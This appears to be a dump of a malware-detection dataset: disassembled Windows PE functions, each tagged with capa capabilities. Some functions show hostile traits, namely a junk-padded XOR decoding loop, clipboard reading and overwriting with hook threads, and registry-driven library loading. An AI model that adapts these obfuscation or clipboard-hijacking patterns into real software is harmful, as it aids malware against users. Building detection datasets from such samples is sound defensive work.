joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416058
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort

Function at 0x416ba8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x416bc7
mov eax, 0
jmp 0x416c0b
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x416bea
mov eax, 0
jmp 0x416c0b
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x416c06
mov eax, 0
jmp 0x416c0b
mov eax, 1
leave
ret

Function at 0x416c0d
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x416c6c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x416c64
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x416c64
mov eax, dword [ebp - 4]
jmp 0x416c80
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x416c41
mov eax, 0
leave
ret
Function at 0x401200
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
rol esi, 0xa0
not ebx
dec edi
rcr eax, 0x6a
imul edi
not edx
inc ebx
and ebx, 0xff
sub esi, 0xe4
dec ebx
bswap edx
neg edx
bswap eax
and edx, 0xe1
inc edi
inc edx
add eax, 0xc4
imul eax
neg eax
and eax, 0x6c
bswap esi
not edi
inc edi
mov eax, 0xbc
rcr edi, 0x35
inc edx
add edx, 0xa4
bswap eax
neg eax
or edi, 0x11
not ebx
and eax, 0x24
add esi, 0x7e
dec edx
rcl ebx, 0x98
ror eax, 0x2b
not edx
rcr ebx, 0x17
neg edi
rcr edi, 0x28
sub eax, 0x13
add esi, 0x8a
and esi, 0x6a
neg edx
neg edx
bswap edx
rcr esi, 0x1c
mov ebx, 0xfe
dec eax
mov edi, 0xbb
xor ecx, ecx
xor edi, edi
bswap edi
inc esi
rcl edx, 0xec
imul ebx
sub esi, 0xff
sbb eax, 0x95
rcr eax, 0x99
imul edi
rcl eax, 0xed
not ebx
sbb ebx, 0x41
rcr esi, 5
rcl edi, 0x75
inc edi
bswap eax
sbb edi, 0xf3
inc edx
rol edx, 0xc5
or esi, 9
rcl ebx, 0xf9
rcl edx, 0x7d
rcr ebx, 0x8f
sub edx, 0xda
not esi
inc ebx
rol ebx, 0x7f
ror eax, 0xdd
inc esi
bswap edi
dec ebx
and edx, 0x99
imul edi
sub ebx, 0x28
sub edi, 0xaf
mov esi, 0xb6
mov ebx, 0x71
imul esi
inc edi
neg edx
neg eax
and edi, 0xdc
imul edi
neg edi
neg ebx
imul ebx
or esi, 0x9e
rol edx, 0xd4
add eax, 0x6f
mov esi, 0xf3
inc eax
mov ecx, dword [ebp + 0xc]
or ebx, 0x62
sub ebx, 0xf4
imul eax
sbb ebx, 0xe4
and ebx, 0xc5
inc edx
sub edx, 0x64
rcr eax, 0x93
rcl edx, 0xb0
not esi
mov edx, 0x18
rcl ebx, 0xbc
bswap eax
imul edi
imul eax
rcr eax, 0x40
rcr eax, 0xf6
dec ebx
and eax, 0x7e
sbb edi, 0x6e
or esi, 0xdc
sub ebx, 2
imul edx
sub ebx, 0xc2
add edi, 0x3a
sub eax, 0xf3
sbb ebx, 0x77
rol esi, 0x5b
sbb edx, 0xdc
add edx, 0xe3
sbb esi, 0xb2
mov edx, 0xbd
dec esi
not eax
not edi
bswap eax
dec edi
not edi
sbb edi, 0x6a
dec edi
mov edx, 0x46
imul edi
or edx, 0x33
bswap edx
inc edi
sub edx, 0xf7
sbb eax, 0x6f
imul esi
inc edi
ror edi, 0xe8
mov edi, dword [ebp + 8]
mov eax, esi
xor ebx, eax
xor ebx, ebx
not byte [edi]
mov esi, ebx
mov eax, esi
xor esi, eax
mov eax, esi
mov ebx, ebx
mov ebx, ebx
xor esi, esi
xor esi, esi
xor esi, eax
add byte [edi], 0x79
xor ebx, eax
mov eax, esi
xor ebx, eax
xor esi, eax
xor eax, ebx
xor eax, eax
xor esi, eax
mov ebx, ebx
xor eax, esi
sub byte [edi], 0x30
mov esi, eax
xor esi, eax
mov eax, esi
mov ebx, esi
xor esi, eax
mov ebx, esi
mov ebx, eax
xor esi, esi
mov ebx, eax
imul byte [edi]
inc edi
loop 0x4013d1
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4042d5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48fdd0]
jne 0x4042df
repz ret
jmp fcn.00406055
Function at 0x404966
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403701
and dword [ebp - 4], 0
cmp dword [0x490c68], 0
mov ebx, eax
jne 0x404a17
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x404ac8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x404ac8
push eax
call fcn.0040368f
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x490c68], eax
call esi
push eax
call fcn.0040368f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x490c6c], eax
call esi
push eax
call fcn.0040368f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x490c70], eax
call esi
push eax
call fcn.0040368f
pop ecx
mov dword [0x490c78], eax
test eax, eax
je 0x404a17
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040368f
pop ecx
mov dword [0x490c74], eax
mov eax, dword [0x490c74]
cmp eax, ebx
je 0x404a6f
cmp dword [0x490c78], ebx
je 0x404a6f
push eax
call fcn.0040370a
push dword [0x490c78]
mov esi, eax
call fcn.0040370a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x404a6f
test edi, edi
je 0x404a6f
call esi
test eax, eax
je 0x404a66
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404a66
test byte [ebp - 0xc], 1
jne 0x404a6f
or dword [ebp + 0x10], 0x200000
jmp 0x404aa8
mov eax, dword [0x490c6c]
cmp eax, ebx
je 0x404aa8
push eax
call fcn.0040370a
pop ecx
test eax, eax
je 0x404aa8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x404aa8
mov eax, dword [0x490c70]
cmp eax, ebx
je 0x404aa8
push eax
call fcn.0040370a
pop ecx
test eax, eax
je 0x404aa8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x490c68]
call fcn.0040370a
pop ecx
test eax, eax
je 0x404ac8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404aca
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40108e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
lea eax, [ebp - 0x104]
push eax
call fcn.004011e4
push 0x401065
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401160
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401074
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a0
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x40106f
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a0
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x401145
mov word [ebx], 0x5c
push 0x40101c
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a0
mov dword [ebp - 0x108], eax
push 0x40100b
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x401195
push 0x3e8
call eax
test eax, eax
je 0x401195
call 0x401185
add dword [esp], 0x1e7b
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401016
push 0x401026
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret
Function at 0x4a2c25
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x14
push 0x4b1800
call fcn.004a6f80
call fcn.004a6c51
movzx esi, ax
push 2
call fcn.004a6a51
pop ecx
mov eax, 0x5a4d
cmp word [sym.imp.opengl32.dll_glShadeModel], ax
je 0x4a2adc
xor ebx, ebx
jmp 0x4a2b0f
mov eax, dword [0x40003c]
cmp dword [eax + sym.imp.opengl32.dll_glShadeModel], 0x4550
jne 0x4a2ad8
mov ecx, 0x10b
cmp word [eax + sym.imp.ole32.dll_CoInitializeEx], cx
jne 0x4a2ad8
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x4a2b0f
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004a6473
or eax, eax
jne 0x4a2b23
push 0x1c
call fcn.004a2bfe
pop ecx
call fcn.004a5ed6
or eax, eax
jne 0x4a2b34
push 0x10
call fcn.004a2bfe
pop ecx
call fcn.004a6b38
and dword [ebp - 4], 0
call fcn.004a6488
or eax, eax
jns 0x4a2b4e
push 0x1b
call fcn.004a2bfe
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x5c1d30], eax
call fcn.004a6b78
mov dword [0x5bc4c8], eax
call fcn.004a6736
or eax, eax
jns 0x4a2b74
push 8
call fcn.004a5fb1
pop ecx
call fcn.004a696f
or eax, eax
jns 0x4a2b85
push 9
call fcn.004a5fb1
pop ecx
push 1
call fcn.004a5feb
pop ecx
or eax, eax
je 0x4a2b98
push eax
call fcn.004a5fb1
pop ecx
call fcn.004a6f28
push esi
push eax
push 0
push sym.imp.opengl32.dll_glShadeModel
call main
push eax
pop esi
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x4a2bba
push esi
call fcn.004a6247
call fcn.004a5fdc
jmp 0x4a2bef
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.004a6fc5
ret
call fcn.004a6a9e
jmp 0x4a2aae
Function at 0x4011a0
Capabilities:
Create thread
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x43e008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call fcn.00406ba0
push 0x2bf
push 0x43a02c
push 2
call fcn.00409e50
add esp, 0xc
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, dword [sym.imp.USER32.dll_CloseClipboard]
mov esi, eax
test esi, esi
je 0x40127b
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x40125e
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x40127b
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.0040c800
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401220
sub ecx, edx
cmp ecx, 0x104
jae 0x401241
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401236
sub ecx, edx
jmp 0x401246
mov ecx, 0x104
push ecx
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.0040c9a0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call edi
lea eax, [ebp - 0x108]
push eax
push 0x43a054
push 0x19895
push 2
call fcn.00409f80
add esp, 0x10
push 0x104
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4012cf
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4012cf
push str.adfasdgag
push 0x104
push eax
call fcn.0040f2d2
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call edi
push 0x5093
push 0x43a02c
push 2
call fcn.00409e50
push 8
mov dword [ebp - 0x10c], 0
call fcn.0040f2c7
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x10c]
add esp, 0x10
mov dword [eax + 4], 0x38
mov dword [eax], str.101.32.32.109
push ecx
push 0
push eax
push 0x4013f0
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401329
push eax
call esi
call fcn.004021c0
test al, al
je 0x401368
call fcn.004025d0
push 0x440210
push 0
push 0
push 0x4042a0
push 0
push 0
call edi
test eax, eax
jne 0x401365
push str.Cannot_create_a_new_hook_thread_n
push 0x17421
push 2
call fcn.00409f80
add esp, 0xc
jmp 0x401368
push eax
call esi
push 0x6843
push 0x43a02c
push 2
call fcn.00409e50
add esp, 0xc
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x10c]
push eax
push 0
push str.101.32.32.109
push 0x406ec0
push 0
push 0
call edi
test eax, eax
jne 0x4013b2
push str.Cannot_create_a_new_hook_thread_n
call fcn.00406e20
add esp, 4
jmp 0x4013b5
push eax
call esi
push 0x287d
push 0x43a02c
push 2
call fcn.00409e50
push str.pause
call fcn.0040f2a1
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
mov eax, 1
pop edi
pop esi
call fcn.0040a502
mov esp, ebp
pop ebp
ret
Function at 0x404680
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x404766
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x404755
jg 0x4046c0
test edx, edx
je 0x404755
nop dword [eax]
call fcn.00405fe0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x404714
jg 0x4046d7
test esi, esi
je 0x404714
cmp ebx, eax
jg 0x4046e7
jl 0x4046e1
cmp edi, esi
jae 0x4046e7
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.0040c9a0
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x404739
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x40474f
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x4046c0
jl 0x40474f
test edi, edi
jne 0x4046c0
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x404788
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x40478a
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x404808
jg 0x40479d
test esi, esi
je 0x404808
test eax, eax
jl 0x4047ec
jg 0x4047a7
test ebx, ebx
je 0x4047ec
cmp edi, eax
jg 0x4047b7
jl 0x4047b1
cmp esi, ebx
jae 0x4047b7
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.0040c9a0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x404808
jg 0x4047ef
test esi, esi
je 0x404808
jmp 0x4047ef
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x404808
push eax
push esi
push 1
push edx
call fcn.00410896
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404820
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x404852
jl 0x404845
test ecx, ecx
jne 0x404852
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x404912
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.00406000
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x4048be
jg 0x40487d
test esi, esi
je 0x4048be
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x404895
mov eax, dword [esp + 0x10]
jl 0x40488f
cmp eax, esi
jae 0x404895
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.0040c9a0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x4048df
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x4048fb
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x404864
jl 0x4048fb
test ecx, ecx
jne 0x404864
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x404951
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x404951
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.0040c9a0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x4049c0
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x404977
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x4049a9
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.00410eed
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x4049d4
cmp edi, eax
ja 0x404985
test ecx, ecx
je 0x4049c0
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.00410eed
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404d40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x43e008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x404d70
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a502
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x404dac
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x404dac
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a502
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x404e94
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x404dd4
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x404e07
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.0040f77e
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a502
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
sub eax, 0
je 0x404e67
sub eax, 1
je 0x404e67
sub eax, 2
jne 0x404e94
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.0040f77e
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a502
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x404e84
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00410896
add esp, 0x10
cmp edi, eax
jne 0x404e94
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x404d97
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a502
mov esp, ebp
pop ebp
ret 4
Function at 0x405d10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x43e008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x405dca
cmp byte [esi + 0x3d], 0
je 0x405dca
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x405db8
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x405d80
sub eax, 1
je 0x405d84
sub eax, 2
jne 0x405db8
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a502
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x405da1
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00410896
add esp, 0x10
cmp edi, eax
jne 0x405db8
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a502
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a502
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0040a502
mov esp, ebp
pop ebp
ret

Function at 0x4063e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d9c0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x43e008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040a712
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0040b4ee
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41dd4b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041dbc1

Function at 0x422eaf
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00422a02